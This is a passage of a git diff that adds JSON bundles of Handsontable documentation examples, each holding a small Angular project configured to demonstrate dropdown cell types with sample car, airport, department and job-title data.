    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n ],\n },\n {\n type: 'dropdown',\n source: [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n ],\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example2.ts.json new file mode 100644 index 00000000..7eca5307 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Array of values · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly shipmentKVData = [\n ['Electronics and Gadgets','Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', 'Chicago O\\'Hare International Airport'],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol']\n ];\n\n readonly airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n 'Chicago O\\'Hare International Airport',\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport'\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: this.airportKVData,\n title: 'Airport',\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example2","exampleTitle":"Array of values","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..1913abdd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Array of objects · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly shipmentKVData = [\n [\n 'Electronics and Gadgets',\n { key: 'LAX', value: 'Los Angeles International Airport' },\n ],\n [\n 'Medical Supplies',\n { key: 'JFK', value: 'John F. Kennedy International Airport' }\n ],\n [\n 'Auto Parts',\n { key: 'ORD', value: 'Chicago O\\'Hare International Airport' }\n ],\n [\n 'Fresh Produce',\n { key: 'LHR', value: 'London Heathrow Airport' }\n ],\n [\n 'Textiles',\n { key: 'CDG', value: 'Charles de Gaulle Airport' }\n ],\n [\n 'Industrial Equipment',\n { key: 'DXB', value: 'Dubai International Airport' }\n ],\n [\n 'Pharmaceuticals',\n { key: 'HND', value: 'Tokyo Haneda Airport' }\n ],\n [\n 'Consumer Goods',\n { key: 'PEK', value: 'Beijing Capital International Airport' }\n ],\n [\n 'Machine Parts',\n { key: 'SIN', value: 'Singapore Changi Airport' }\n ],\n [\n 'Food Products',\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' }\n ]\n ];\n\n readonly airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: 'Chicago O\\'Hare International Airport' },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' }\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: this.airportKVData,\n title: 'Airport',\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example4.ts.json new file mode 100644 index 00000000..d1eac292 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\n@Component({\n selector: 'example4-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example4.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example5.ts.json new file mode 100644 index 00000000..6d2dd65d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\n@Component({\n selector: 'example5-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example5.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..496ad885 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Standard example · 